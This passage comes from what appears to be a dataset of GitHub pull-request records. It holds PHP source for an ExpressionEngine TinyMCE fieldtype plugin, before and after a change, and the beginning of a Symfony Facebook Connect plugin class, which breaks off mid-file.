$setting)\n\t\t{\n\t\t\tif (isset($_POST[\"nsm_tiny_mce_{$setting}\"]))\n\t\t\t{\n\t\t\t\tunset($_POST[\"nsm_tiny_mce_{$setting}\"]);\n\t\t\t}\n\t\t}\n\n\t\treturn $field_settings;\n\t}\n\n\t/**\n\t * Process the cell settings before saving\n\t *\n\t * @access public\n\t * @param $col_settings array The settings for the column\n\t * @return array The new settings\n\t */\n\tpublic function save_cell_settings($col_settings)\n\t{\n\t\t$col_settings = $col_settings['nsm_tiny_mce'];\n\t\treturn $col_settings;\n\t}\n\n\t/**\n\t * Save the Low variable settings\n\t *\n\t * @access public\n\t * @param $var_settings The variable settings\n\t * @see http://loweblog.com/software/low-variables/docs/fieldtype-bridge/\n\t */\n\tpublic function save_var_settings($var_settings)\n\t{\n\t\treturn $this->EE->input->post('nsm_tiny_mce');\n\t}\n\n\n\n\n\t/**\n\t * Prepares settings array for fields and matrix cells\n\t *\n\t * @access public\n\t * @param $settings array The field / cell settings\n\t * @return array Labels and form inputs\n\t */\n\tprivate function _fieldSettings($settings)\n\t{\n\t\t$r = array();\n\n\t\t// TinyMCE height\n\t\t$r[] = array(\n\t\t\tlang('Height <small>in px</small>', 'nsm_tiny_mce_height'),\n\t\t\tform_input(\"nsm_tiny_mce[height]\", $settings['height'], \"id='nsm_tiny_mce_height' class='matrix-textarea'\")\n\t\t);\n\n\t\t// Configs\n\t\tif($configs = $this->_readTinyMCEConfigs())\n\t\t{\n\t\t\tforeach ($configs as $key => $value)\n\t\t\t{\n\t\t\t\t$options[$key] = ucfirst(str_replace(array(\"_\", \".js\"), array(\"\"), $key));\n\t\t\t}\n\t\t\t$confs = form_dropdown(\"nsm_tiny_mce[conf]\", $options, $settings['conf'], \"id='nsm_tiny_mce_conf'\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$confs = \"<p class='notice'>\n\t\t\t\t\t\t\tNo configuration files could be found. Check that\n\t\t\t\t\t\t\t<code>\".$this->tiny_mce_config_path.\"</code>\n\t\t\t\t\t\t\tis readable and contains at least one configuration file.\n\t\t\t\t\t\t</p>\";\n\t\t\t$confs .= form_hidden(\"nsm_tiny_mce[conf]\", '');\n\t\t}\n\n\t\t$r[] = array(\n\t\t\t\t\tlang('Configuration', 'nsm_tiny_mce_conf'),\n\t\t\t\t\t$confs\n\t\t\t\t);\n\n\t\treturn $r;\n\t}\n\n\t/**\n\t * Display the settings form for each custom field\n\t *\n\t * @access public\n\t * @param $data mixed Not sure what this data is yet :S\n\t * @return string Override the field custom settings with custom html\n\t *\n\t * In this case we add an extra row to the table. Not sure how the table is built\n\t */\n\tpublic function display_settings($field_settings)\n\t{\n\t\t$field_settings = array_merge($this->_defaultFieldSettings(), $field_settings);\n\t\t$rows = $this->_fieldSettings($field_settings);\n\n\t\t// add the rows\n\t\tforeach ($rows as $row)\n\t\t{\n\t\t\t$this->EE->table->add_row($row[0], $row[1]);\n\t\t}\n\t}\n\n\t/**\n\t * Display Cell Settings\n\t *\n\t * @access public\n\t * @param $cell_settings array The cell settings\n\t * @return array Label and form inputs\n\t */\n\tpublic function display_cell_settings($cell_settings)\n\t{\n\t\t$cell_settings = array_merge($this->_defaultFieldSettings(), $cell_settings);\n\t\treturn $this->_fieldSettings($cell_settings);\n\t}\n\n\t/**\n\t * Display Variable Settings\n\t *\n\t * @access public\n\t * @param $var_settings array The variable settings\n\t * @return array Label and form inputs\n\t */\n\tpublic function display_var_settings($var_settings)\n\t{\n\t\t$var_settings = array_merge($this->_defaultFieldSettings(), $var_settings);\n\t\treturn $this->_fieldSettings($var_settings);\n\t}\n\n\t/**\n\t * Adds the TinyMCE configuration to the CP\n\t */\n\tprivate function _addConfJs($conf, $cell = FALSE)\n\t{\n\n\t\t$theme_url = $this->_getThemeUrl();\n\n\t\tif(!isset($this->EE->session->cache[__CLASS__]['tiny_mce_loaded']))\n\t\t{\n\t\t\t$this->EE->cp->add_to_head(\"<link rel='stylesheet' href='{$theme_url}/styles/admin.css' type='text/css' media='screen' charset='utf-8' />\");\n\n\t\t\t$this->EE->cp->add_to_foot(\"<script src='{$theme_url}/scripts/tiny_mce/tiny_mce.js' type='text/javascript' charset='utf-8'></script>\");\n\t\t\t$this->EE->cp->add_to_foot('<script type=\"text/javascript\">NsmTinyMCEConfigs = {};</script>');\n\t\t\t$this->EE->session->cache[__CLASS__]['tiny_mce_loaded'] = TRUE;\n\t\t}\n\n\t\tif(!in_array($conf, $this->EE->session->cache[__CLASS__]['loaded_configs']))\n\t\t{\n\t\t\t$this->EE->session->cache[__CLASS__]['loaded_configs'][] = $conf;\n\t\t\t$this->EE->cp->add_to_foot(\"<script type='text/javascript' src='{$theme_url}/scripts/tiny_mce_config/{$conf}'></script>\");\n\n\t\t}\n\t}\n\n\t/**\n\t * Get the current themes URL from the theme folder + / + the addon id\n\t *\n\t * @access private\n\t * @return string The theme URL\n\t */\n\tprivate function _getThemeUrl()\n\t{\n\t\t$EE =& get_instance();\n\t\tif(!isset($EE->session->cache[$this->addon_id]['theme_url']))\n\t\t{\n\t\t\t$theme_url = URL_THIRD_THEMES;\n\t\t\tif (substr($theme_url, -1) != '/') $theme_url .= '/';\n\t\t\t$theme_url .= $this->addon_id;\n\t\t\t$EE->session->cache[$this->addon_id]['theme_url'] = $theme_url;\n\t\t}\n\t\treturn $EE->session->cache[$this->addon_id]['theme_url'];\n\t}\n\n\t/**\n\t * Reads the custom TinyMCE configs from the directory\n\t *\n\t * @access private\n\t * @return mixed FALSE if no configs are found or an array of filenames\n\t */\n\tprivate function _readTinyMCEConfigs()\n\t{\n\t\t// have the configs been processed?\n\t\tif(isset($this->EE->session->cache[__CLASS__]['tiny_mce_configs']) === FALSE)\n\t\t{\n\t\t\t// assume there are no configs\n\t\t\t$configs = FALSE;\n\t\t\t// if the provided string an actual directory\n\t\t\tif(is_dir($dir = $this->tiny_mce_config_path))\n\t\t\t{\n\t\t\t\t// open the directory and assign it to a handle\n\t\t\t\t$dir_handle = opendir($dir);\n\t\t\t\t// if there is a dir handle\n\t\t\t\tif($dir_handle)\n\t\t\t\t{\n\t\t\t\t\t/* This is the correct way to loop over the directory. */\n\t\t    \t\t// loop over the files\n\t\t\t\t\twhile (false !== ($file = readdir($dir_handle)))\n\t\t\t\t\t{\n\t\t\t\t\t\t// if this is a real file\n\t\t\t\t\t\tif ($file != \".\" && $file != \"..\" && $file != \"Thumb.db\" && substr($file, 0, 1) != '-' && substr($file, -3) == \".js\")\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// add the config to the list\n\t\t\t\t\t\t\t$configs[$file] = file_get_contents($dir.$file);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t// assign the configs to a session var\n\t\t\t$this->EE->session->cache[__CLASS__]['tiny_mce_configs'] = $configs;\n\t\t}\n\n\t\t// return the session var\n\t\treturn $this->EE->session->cache[__CLASS__]['tiny_mce_configs'];\n\t}\n\n}\n//END CLASS"}, "files_after": {"ft.nsm_tiny_mce.php": "<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');\n\n/**\n * NSM TinyMCE Fieldtype\n *\n * @package\t\t\tNsmTinyMCE\n * @version\t\t\t1.1.1\n * @author\t\t\tLeevi Graham <http://leevigraham.com> - Technical Director, Newism\n * @copyright \t\tCopyright (c) 2007-2010 Newism <http://newism.com.au>\n * @license \t\tCommercial - please see LICENSE file included with this distribution\n * @link\t\t\thttp://ee-garage.com/nsm-tiny-mce\n * @see\t\t\t\thttp://expressionengine.com/public_beta/docs/development/fieldtypes.html\n */\nclass Nsm_tiny_mce_ft extends EE_Fieldtype\n{\n\t/**\n\t * Field info - Required\n\t *\n\t * @access public\n\t * @var array\n\t */\n\tpublic $info = array(\n\t\t'name'\t\t=> 'NSM TinyMCE',\n\t\t'version'\t=> '1.1.1'\n\t);\n\n\t/**\n\t * The field settings array\n\t *\n\t * @access public\n\t * @var array\n\t */\n\tpublic $settings = array();\n\n\t/**\n\t * Path to the TinyMCE config files. Set in the constructor\n\t *\n\t * @access private\n\t * @var string\n\t */\n\tprivate $tiny_mce_config_path = \"\";\n\n\t/**\n\t * The field type - used for form field prefixes. Must be unique and match the class name. Set in the constructor\n\t *\n\t * @access private\n\t * @var string\n\t */\n\tprivate $field_type = '';\n\n\t/**\n\t * Constructor\n\t *\n\t * @access public\n\t *\n\t * Calls the parent constructor\n\t * Sets the tiny_mce_config_path using the PATH_THRID variable\n\t */\n\tpublic function __construct()\n\t{\n\t\tparent::__construct();\n\n\t\t$this->tiny_mce_config_path = PATH_THIRD_THEMES . \"nsm_tiny_mce/scripts/tiny_mce_config/\";\n\n\t\t$this->field_type = $this->addon_id = strtolower(substr(__CLASS__, 0, -3));\n\n\t\tif(!isset($this->EE->session->cache[__CLASS__]))\n\t\t{\n\t\t\t$this->EE->session->cache[__CLASS__]['loaded_configs'] = array();\n\t\t}\n\t}\n\n\t/**\n\t * Replaces the custom field tag\n\t *\n\t * @access public\n\t * @param $data string Contains the field data (or prepped data, if using pre_process)\n\t * @param $params array Contains field parameters (if any)\n\t * @param $tagdata mixed Contains data between tag (for tag pairs) FALSE for single tags\n\t * @return string The HTML replacing the tag\n\t *\n\t */\n\tpublic function replace_tag($data, $params = FALSE, $tagdata = FALSE)\n\t{\n\t\treturn $data;\n\t}\n\n\t/**\n\t * Display the field in the publish form\n\t *\n\t * @access public\n\t * @param $data String Contains the current field data. Blank for new entries.\n\t * @return String The custom field HTML\n\t *\n\t * Includes the TinyMCE base script and the field specific configuration.\n\t * Returns a standard textarea with a configuration specific class\n\t */\n\tpublic function display_field($data, $field_id = false)\n\t{\n\t\t$this->_addConfJs($this->settings[\"conf\"]);\n\n\t\tif(!$field_id)\n\t\t\t$field_id = $this->field_name;\n\n\t\t$this->EE->cp->add_to_foot('<script type=\"text/javascript\">'\n\t\t\t\t\t\t\t\t\t\t. 'tinyMCE.settings = NsmTinyMCEConfigs[\"'.substr($this->settings[\"conf\"], 0, -3).'\"];'\n\t\t\t\t\t\t\t\t\t\t. 'tinyMCE.execCommand(\"mceAddControl\", true, \"'.$field_id.'\");'\n\t\t\t\t\t\t\t\t\t. '</script>');\n\n\t\treturn form_textarea(array(\n\t\t\t'name'\t=> $this->field_name,\n\t\t\t'id'\t=> $field_id,\n\t\t\t'value'\t=> $data,\n\t\t\t'rows' => ' ',\n\t\t\t'style' => \"height: {$this->settings['height']}px\"\n\t\t));\n\t}\n\n\t/**\n\t * Displays the cell\n\t *\n\t * @access public\n\t * @param $data The cell data\n\t */\n\tpublic function display_cell($data)\n\t{\n\t\t$this->_addConfJs($this->settings[\"conf\"]);\n\n\t\tif(!isset($this->EE->session->cache[__CLASS__]['cell_js_loaded']))\n\t\t{\n\t\t\t$theme_url = $this->_getThemeUrl();\n\t\t\t$this->EE->cp->add_to_foot(\"<script src='{$theme_url}/scripts/matrix2.js' type='text/javascript' charset='utf-8'></script>\");\n\t\t\t$this->EE->session->cache[__CLASS__]['cell_js_loaded'] = TRUE;\n\t\t}\n\n\t\t$this->EE->cp->add_to_foot('<script type=\"text/javascript\">NsmTinyMCEColConfig[\"col_id_'.$this->col_id.'\"] = \"'.substr($this->settings[\"conf\"], 0, -3).'\"</script>');\n\n\t\treturn '<textarea name=\"'.$this->cell_name.'\" id=\"'.$this->col_id.'\" style=\"height: '.$this->settings['height'].'px\">'.$data.'</textarea>';\n\t}\n\n\t/**\n\t * Displays the Low Variable field\n\t *\n\t * @access public\n\t * @param $var_data The variable data\n\t * @see http://loweblog.com/software/low-variables/docs/fieldtype-bridge/\n\t */\n\tpublic function display_var_field($var_data)\n\t{\n\t\treturn $this->display_field($var_data, \"nsm_tiny_mce_\"  . substr($this->field_name, 4, 1));\n\t}\n\n\t/**\n\t * Publish form validation\n\t *\n\t * @param $data array Contains the submitted field data.\n\t * @return mixed TRUE or an error message\n\t */\n\tpublic function validate($data)\n\t{\n\t\treturn TRUE;\n\t}\n\n\t/**\n\t * Default field settings\n\t *\n\t * @access private\n\t * @return The default field settings\n\t */\n\tprivate function _defaultFieldSettings(){\n\t\treturn array(\n\t\t\t\"conf\" => FALSE,\n\t\t\t\"height\" => 300\n\t\t);\n\t}\n\n\t/**\n\t * Save the custom field settings\n\t *\n\t * @param $data array Not sure what this is yet, probably the submitted post data.\n\t * @return boolean Valid or not\n\t */\n\tpublic function save_settings($field_settings)\n\t{\n\t\t$field_settings = array_merge($this->_defaultFieldSettings(), $this->EE->input->post('nsm_tiny_mce'));\n\n\t\t// Force formatting\n\t\t$field_settings['field_fmt'] = 'none';\n\t\t$field_settings['field_show_fmt'] = 'n';\n\t\t$field_settings['field_type'] = 'nsm_tiny_mce';\n\n\t\t// Cleanup\n\t\tunset($_POST['nsm_tiny_mce']);\n\t\tforeach (array_keys($field_settings) as $setting)\n\t\t{\n\t\t\tif (isset($_POST[\"nsm_tiny_mce_{$setting}\"]))\n\t\t\t{\n\t\t\t\tunset($_POST[\"nsm_tiny_mce_{$setting}\"]);\n\t\t\t}\n\t\t}\n\n\t\treturn $field_settings;\n\t}\n\n\t/**\n\t * Process the cell settings before saving\n\t *\n\t * @access public\n\t * @param $col_settings array The settings for the column\n\t * @return array The new settings\n\t */\n\tpublic function save_cell_settings($col_settings)\n\t{\n\t\t$col_settings = $col_settings['nsm_tiny_mce'];\n\t\treturn $col_settings;\n\t}\n\n\t/**\n\t * Save the Low variable settings\n\t *\n\t * @access public\n\t * @param $var_settings The variable settings\n\t * @see http://loweblog.com/software/low-variables/docs/fieldtype-bridge/\n\t */\n\tpublic function save_var_settings($var_settings)\n\t{\n\t\treturn $this->EE->input->post('nsm_tiny_mce');\n\t}\n\n\n\n\n\t/**\n\t * Prepares settings array for fields and matrix cells\n\t *\n\t * @access public\n\t * @param $settings array The field / cell settings\n\t * @return array Labels and form inputs\n\t */\n\tprivate function _fieldSettings($settings)\n\t{\n\t\t$r = array();\n\n\t\t// TinyMCE height\n\t\t$r[] = array(\n\t\t\tlang('Height <small>in px</small>', 'nsm_tiny_mce_height'),\n\t\t\tform_input(\"nsm_tiny_mce[height]\", $settings['height'], \"id='nsm_tiny_mce_height' class='matrix-textarea'\")\n\t\t);\n\n\t\t// Configs\n\t\tif($configs = $this->_readTinyMCEConfigs())\n\t\t{\n\t\t\tforeach ($configs as $key => $value)\n\t\t\t{\n\t\t\t\t$options[$key] = ucfirst(str_replace(array(\"_\", \".js\"), array(\"\"), $key));\n\t\t\t}\n\t\t\t$confs = form_dropdown(\"nsm_tiny_mce[conf]\", $options, $settings['conf'], \"id='nsm_tiny_mce_conf'\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$confs = \"<p class='notice'>\n\t\t\t\t\t\t\tNo configuration files could be found. Check that\n\t\t\t\t\t\t\t<code>\".$this->tiny_mce_config_path.\"</code>\n\t\t\t\t\t\t\tis readable and contains at least one configuration file.\n\t\t\t\t\t\t</p>\";\n\t\t\t$confs .= form_hidden(\"nsm_tiny_mce[conf]\", '');\n\t\t}\n\n\t\t$r[] = array(\n\t\t\t\t\tlang('Configuration', 'nsm_tiny_mce_conf'),\n\t\t\t\t\t$confs\n\t\t\t\t);\n\n\t\treturn $r;\n\t}\n\n\t/**\n\t * Display the settings form for each custom field\n\t *\n\t * @access public\n\t * @param $data mixed Not sure what this data is yet :S\n\t * @return string Override the field custom settings with custom html\n\t *\n\t * In this case we add an extra row to the table. Not sure how the table is built\n\t */\n\tpublic function display_settings($field_settings)\n\t{\n\t\t$field_settings = array_merge($this->_defaultFieldSettings(), $field_settings);\n\t\t$rows = $this->_fieldSettings($field_settings);\n\n\t\t// add the rows\n\t\tforeach ($rows as $row)\n\t\t{\n\t\t\t$this->EE->table->add_row($row[0], $row[1]);\n\t\t}\n\t}\n\n\t/**\n\t * Display Cell Settings\n\t *\n\t * @access public\n\t * @param $cell_settings array The cell settings\n\t * @return array Label and form inputs\n\t */\n\tpublic function display_cell_settings($cell_settings)\n\t{\n\t\t$cell_settings = array_merge($this->_defaultFieldSettings(), $cell_settings);\n\t\treturn $this->_fieldSettings($cell_settings);\n\t}\n\n\t/**\n\t * Display Variable Settings\n\t *\n\t * @access public\n\t * @param $var_settings array The variable settings\n\t * @return array Label and form inputs\n\t */\n\tpublic function display_var_settings($var_settings)\n\t{\n\t\t$var_settings = array_merge($this->_defaultFieldSettings(), $var_settings);\n\t\treturn $this->_fieldSettings($var_settings);\n\t}\n\n\t/**\n\t * Adds the TinyMCE configuration to the CP\n\t */\n\tprivate function _addConfJs($conf, $cell = FALSE)\n\t{\n\n\t\t$theme_url = $this->_getThemeUrl();\n\n\t\tif(!isset($this->EE->session->cache[__CLASS__]['tiny_mce_loaded']))\n\t\t{\n\t\t\t$this->EE->cp->add_to_head(\"<link rel='stylesheet' href='{$theme_url}/styles/admin.css' type='text/css' media='screen' charset='utf-8' />\");\n\n\t\t\t$this->EE->cp->add_to_foot(\"<script src='{$theme_url}/scripts/tiny_mce/tiny_mce.js' type='text/javascript' charset='utf-8'></script>\");\n\t\t\t$this->EE->cp->add_to_foot('<script type=\"text/javascript\">NsmTinyMCEConfigs = {};</script>');\n\t\t\t$this->EE->session->cache[__CLASS__]['tiny_mce_loaded'] = TRUE;\n\t\t}\n\n\t\tif(!in_array($conf, $this->EE->session->cache[__CLASS__]['loaded_configs']))\n\t\t{\n\t\t\t$this->EE->session->cache[__CLASS__]['loaded_configs'][] = $conf;\n\t\t\t$this->EE->cp->add_to_foot(\"<script type='text/javascript' src='{$theme_url}/scripts/tiny_mce_config/{$conf}'></script>\");\n\n\t\t}\n\t}\n\n\t/**\n\t * Get the current themes URL from the theme folder + / + the addon id\n\t *\n\t * @access private\n\t * @return string The theme URL\n\t */\n\tprivate function _getThemeUrl()\n\t{\n\t\t$EE =& get_instance();\n\t\tif(!isset($EE->session->cache[$this->addon_id]['theme_url']))\n\t\t{\n\t\t\t$theme_url = URL_THIRD_THEMES;\n\t\t\tif (substr($theme_url, -1) != '/') $theme_url .= '/';\n\t\t\t$theme_url .= $this->addon_id;\n\t\t\t$EE->session->cache[$this->addon_id]['theme_url'] = $theme_url;\n\t\t}\n\t\treturn $EE->session->cache[$this->addon_id]['theme_url'];\n\t}\n\n\t/**\n\t * Reads the custom TinyMCE configs from the directory\n\t *\n\t * @access private\n\t * @return mixed FALSE if no configs are found or an array of filenames\n\t */\n\tprivate function _readTinyMCEConfigs()\n\t{\n\t\t// have the configs been processed?\n\t\tif(isset($this->EE->session->cache[__CLASS__]['tiny_mce_configs']) === FALSE)\n\t\t{\n\t\t\t// assume there are no configs\n\t\t\t$configs = FALSE;\n\t\t\t// if the provided string an actual directory\n\t\t\tif(is_dir($dir = $this->tiny_mce_config_path))\n\t\t\t{\n\t\t\t\t// open the directory and assign it to a handle\n\t\t\t\t$dir_handle = opendir($dir);\n\t\t\t\t// if there is a dir handle\n\t\t\t\tif($dir_handle)\n\t\t\t\t{\n\t\t\t\t\t/* This is the correct way to loop over the directory. */\n\t\t    \t\t// loop over the files\n\t\t\t\t\twhile (false !== ($file = readdir($dir_handle)))\n\t\t\t\t\t{\n\t\t\t\t\t\t// if this is a real file\n\t\t\t\t\t\tif ($file != \".\" && $file != \"..\" && $file != \"Thumb.db\" && substr($file, 0, 1) != '-' && substr($file, -3) == \".js\")\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// add the config to the list\n\t\t\t\t\t\t\t$configs[$file] = file_get_contents($dir.$file);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t// assign the configs to a session var\n\t\t\t$this->EE->session->cache[__CLASS__]['tiny_mce_configs'] = $configs;\n\t\t}\n\n\t\t// return the session var\n\t\treturn $this->EE->session->cache[__CLASS__]['tiny_mce_configs'];\n\t}\n\n}\n//END CLASS"}}
{"repo": "fabriceb/sfFacebookConnectPlugin", "pr_number": 7, "title": "Doc + facebook object instanciation", "state": "closed", "merged_at": "2010-11-24T13:51:29Z", "additions": 47, "deletions": 7, "files_changed": ["lib/sfFacebook.class.php"], "files_before": {"lib/sfFacebook.class.php": "<?php\n\n/**\n *\n * @package    sfFacebookConnectPlugin\n * @author     Fabrice Bernhard\n *\n */\nclass sfFacebook\n{\n  protected static\n    $client          = null; // Facebook instance\n  protected static\n    $guard_adapter   = null;\n  protected static\n    $is_js_loaded       = false;\n\n\n\n  /**\n   * gets the facebook client instance\n   *\n   * @return Facebook\n   * @author fabriceb\n   * @since 2009-05-17\n   * @since 2010-05-12 Benjamin Grandfond <benjaming@theodo.fr>: new Facebook php-sdk\n   */\n\n\n  public static function getFacebookCookie()\n  {\n    $app_id = self::getApiKey();\n    $application_secret = self::getApiSecret();\n    $args = array();\n    if (!isset($_COOKIE['fbs_' . $app_id]))\n    {\n      return null;\n    }\n    parse_str(trim($_COOKIE['fbs_' . $app_id], '\\\\\"'), $args);\n    ksort($args);\n    $payload = '';\n    foreach ($args as $key => $value)\n    {\n      if ($key != 'sig')\n      {\n        $payload .= $key . '=' . $value;\n      }\n    }\n    if (md5($payload . $application_secret) != $args['sig'])\n    {\n      return null;\n    }\n    return $args;\n  }\n\n\n  public static function getFacebookClient()\n  {\n    if (self::$client === null)\n    {\n      $params = array(\n        'appId'  => self::getApiKey(),\n        'secret' => self::getApiSecret(),\n        'cookie' => self::getApiCookie(),\n        'domain' => self::getApiDomain()\n      );\n\n      self::$client = new Facebook($params);\n    }\n\n    if (!self::$client)\n    {\n      error_log('Could not create facebook client.');\n    }\n\n    return self::$client;\n  }\n\n  /**\n   * get the facebook session\n   *\n   * @return Array\n   * @author Benjamin Grandfond <benjaming@theodo.fr>\n   * @since 2010-05-13\n   */\n  public static function getSession()\n  {\n\n    return self::getFacebookClient()->getSession();\n  }\n\n  /**\n   * get the facebook user\n   *\n   * @return Array\n   * @author Benjamin Grandfond <benjaming@theodo.fr>\n   * @since 2010-05-13\n   */\n  public static function getUser()\n  {\n\n    return self::getFacebookClient()->getUser();\n  }\n\n  /**\n   * get datas through the faceook graph api\n   * @see http://developers.facebook.com/docs/api\n   *\n   * @return Array\n   * @author Benjamin Grandfond <benjaming@theodo.fr>\n   * @since 2010-05-13\n   */\n  public static function getFacebookApi($param)\n  {\n\n    return self::getFacebookClient()->api($param);\n  }\n\n   /**\n   * gets the facebook api key\n   *\n   * @return Facebook\n   * @author fabriceb\n   * @since 2009-05-17\n   */\n  public static function getApiKey()\n  {\n\n    return sfConfig::get('app_facebook_api_key');\n  }\n\n   /**\n   * gets the facebook api secret\n   *\n   * @return Facebook\n   * @author fabriceb\n   * @since 2009-05-17\n   */\n  public static function getApiSecret()\n  {\n\n    return sfConfig::get('app_facebook_api_secret');\n  }\n\n  /**\n   * get the facebook app cookie support\n   *\n   * @return Boolean\n   * @author Benjamin Grandfond <benjaming@theodo.fr>\n   * @since 2010-05-12\n   */\n  public static function getApiCookie()\n  {\n\n    return sfConfig::get('app_facebook_api_cookie', true);\n  }\n\n  /**\n   * get the facebook app domain\n   *\n   * @return Boolean\n   * @author Benjamin Grandfond <benjaming@theodo.fr>\n   * @since 2010-05-12\n   */\n  public static function getApiDomain()\n  {\n\n    return sfConfig::get('app_facebook_api_domain', null);\n  }\n\n  /**\n   * gets or create user with facebook uid inprofile\n   *\n   * @param Integer $facebook_uid\n   * @param boolean $isActive\n   * @return sfGuardUser $sfGuardUser\n   */\n  public static function getOrCreateUserByFacebookUid($facebook_uid, $isActive = true)\n  {\n    $sfGuardUser = self::getGuardAdapter()->getSfGuardUserByFacebookUid($facebook_uid, $isActive);\n\n    if (!$sfGuardUser instanceof sfGuardUser)\n    {\n      if (sfConfig::get('sf_logging_enabled'))\n      {\n        sfContext::getInstance()->getLogger()->info('{sfFacebookConnect} No user exists with current email hash');\n      }\n      $sfGuardUser = self::getGuardAdapter()->createSfGuardUserWithFacebookUid($facebook_uid);\n    }\n\n    return $sfGuardUser;\n  }\n\n  /**\n   * gets user with facebook uid inprofile\n   *\n   * @param Integer $facebook_uid\n   * @param boolean $isActive\n   * @return sfGuardUser $sfGuardUser\n   */\n  public static function getUserByFacebookUid($facebook_uid, $isActive = true)\n  {\n    $sfGuardUser = self::getGuardAdapter()->retrieveSfGuardUserByFacebookUid($facebook_uid, $isActive);\n\n    if (!$sfGuardUser instanceof sfGuardUser)\n    {\n      if (sfConfig::get('sf_logging_enabled'))\n      {\n        sfContext::getInstance()->getLogger()->info('{sfFacebookConnect} No user exists with current email hash');\n      }\n    }\n\n    return $sfGuardUser;\n  }\n\n  /**\n   * Gets the currently logged sfGuardUser using Facebook Session\n   *\n   * @param boolean $create whether to automatically create a sfGuardUser\n   * if none found corresponding to the Facebook session\n   * @param boolean $isActive\n   * @return sfGuardUser\n   * @author fabriceb\n   * @since 2009-05-17\n   * @since 2009-08-25\n   */\n  public static function getSfGuardUserByFacebookSession($create = true, $isActive = true)\n  {\n    // We get the facebook uid from session\n    $fb_uid = self::getAnyFacebookUid();\n    if ($fb_uid)\n    {\n\n      if ($create)\n      {\n\n        return self::getOrCreateUserByFacebookUid($fb_uid, $isActive);\n      }\n      else\n      {\n\n        return self::getUserByFacebookUid($fb_uid, $isActive);\n      }\n    }\n\n    if (sfConfig::get('sf_logging_enabled'))\n    {\n      sfContext::getInstance()->getLogger()->info('{sfFacebookConnect} No current Facebook session');\n    }\n\n    return null;\n  }\n\n  /**\n   * checks the existence of the HTTP_X_FB_USER_REMOTE_ADDR porperty in the header\n   * which is a sign of being included by the fbml interface\n   *\n   * @return boolean\n   * @author fabriceb\n   * @since Jun 8, 2009 fabriceb\n   */\n  public static function isInsideFacebook()\n  {\n\n    return isset($_SERVER['HTTP_X_FB_USER_REMOTE_ADDR']);\n  }\n\n  /**\n   *\n   * @return boolean\n   * @author fabriceb\n   * @since Jun 8, 2009 fabriceb\n   */\n  public static function inCanvas()\n  {\n\n    return self::getFacebookClient()->in_fb_canvas();\n  }\n\n  /**\n   * redirects to the login page of the Facebook application if not logged yet\n   *\n   * @author fabriceb\n   * @since Jun 8, 2009 fabriceb\n   */\n  public static function requireLogin()\n  {\n    self::getFacebookClient()->require_login();\n  }\n\n  /**\n   * redirects depnding on in canvas or not\n   *\n   * @param $url\n   * @param $statusCode\n   * @return mixed sfView::NONE or sfStopException\n   * @author fabriceb\n   * @since Jun 8, 2009 fabriceb\n   */\n  public static function redirect($url, $statusCode = 302)\n  {\n\n    $context = sfContext::getInstance();\n    $response = $context->getResponse();\n\n    if (self::inCanvas())\n    {\n      $url = sfConfig::get('app_facebook_app_url').$context->getController()->genUrl($url, false);\n\n      $text = '<fb:redirect url=\"' . $url . '\"/>';\n      $response->setContent(sfContext::getInstance()->getResponse()->getContent().$text);\n\n      return sfView::NONE;\n    }\n    else\n    {\n      $fb_parameters = '?'.sfFacebook::getFacebookSigParameters(sfContext::getInstance()->getRequest());\n      $url = $context->getController()->genUrl($url, true).$fb_parameters;\n\n      $response->clearHttpHeaders();\n      $response->setStatusCode($statusCode);\n      $response->setHttpHeader('Location', $url);\n      $response->setContent(sprintf('<html><head><meta http-equiv=\"refresh\" content=\"%d;url=%s\"/></head></html>', 0, htmlspecialchars($url, ENT_QUOTES, sfConfig::get('sf_charset'))));\n      $response->send();\n\n      throw new sfStopException();\n    }\n  }\n\n  /**\n   *\n   * @param integer $user_uid\n   * @return integer[]\n   * @author fabriceb\n   * @since Jun 9, 2009 fabriceb\n   */\n  public static function getFacebookFriendsUids($user_uid = null)\n  {\n\n    try\n    {\n      $friends_uids = self::getFacebookApi()->friends_get(null, $user_uid);\n    }\n    catch(FacebookRestClientException $e)\n    {\n      $friends_uids = array();\n      if (sfConfig::get('sf_logging_enabled'))\n      {\n        sfContext::getInstance()->getLogger()->info('{FacebookRestClientException} '.$e->getMessage());\n      }\n    }\n\n    return $friends_uids;\n  }\n\n  /**\n  *\n  * @return sfFacebookGuardAdapter\n  * @author fabriceb\n  * @since Aug 10, 2009\n  * @since 2009-10-08 Alban Creton : added configurability of the Guard Adapter.\n  */\n  public static function getGuardAdapter()\n  {\n    if (self::$guard_adapter === null)\n    {\n      if(sfConfig::get('app_facebook_guard_adapter') && class_exists(sfConfig::get('app_facebook_guard_adapter'), true))\n      {\n        $class = sfConfig::get('app_facebook_guard_adapter');\n      }\n      else if (class_exists('sfGuardUserPeer', true))\n      {\n        $class = 'sfFacebookPropelGuardAdapter';\n      }\n      else\n      {\n        $class = 'sfFacebookDoctrineGuardAdapter';\n      }\n      self::$guard_adapter = new $class();\n    }\n    if (!self::$guard_adapter)\n    {\n      error_log('Could not create guard adapter.');\n    }\n\n    return self::$guard_adapter;\n  }\n\n\n  /**\n   *\n   * @return boolean\n   * @author fabriceb\n   * @since Aug 27, 2009\n   */\n  public static function isJsLoaded()\n  {\n\n    return self::$is_js_loaded;\n  }\n\n  /**\n   *\n   * @return void\n   * @author fabriceb\n   * @since Aug 27, 2009\n   */\n  public static function setJsLoaded()\n  {\n    self::$is_js_loaded = true;\n  }\n\n  /**\n   * Dirty way to convert fr into fr_FR\n   * @param string $culture\n   * @return string\n   * @author fabriceb\n   * @since Aug 28, 2009\n   */\n  public static function getLocale($culture = null)\n  {\n    if (is_null($culture))\n    {\n      $culture = sfContext::getInstance()->getUser()->getCulture();\n    }\n\n    $culture_to_locale = array(\n      'fr' => 'fr_FR',\n      'en' => 'en_US',\n      'de' => 'de_DE',\n      'it' => 'it_IT',\n    );\n\n    return array_key_exists($culture, $culture_to_locale) ? $culture_to_locale[$culture] : $culture;\n  }\n\n  /**\n  * @return interger $facebook_uid\n  * @author fabriceb\n  * @since Oct 6, 2009\n  */\n  public static function getAnyFacebookUid()\n  {\n\n    $cookie = self::getFacebookCookie();\n    $fb_uid = $cookie['uid'];\n    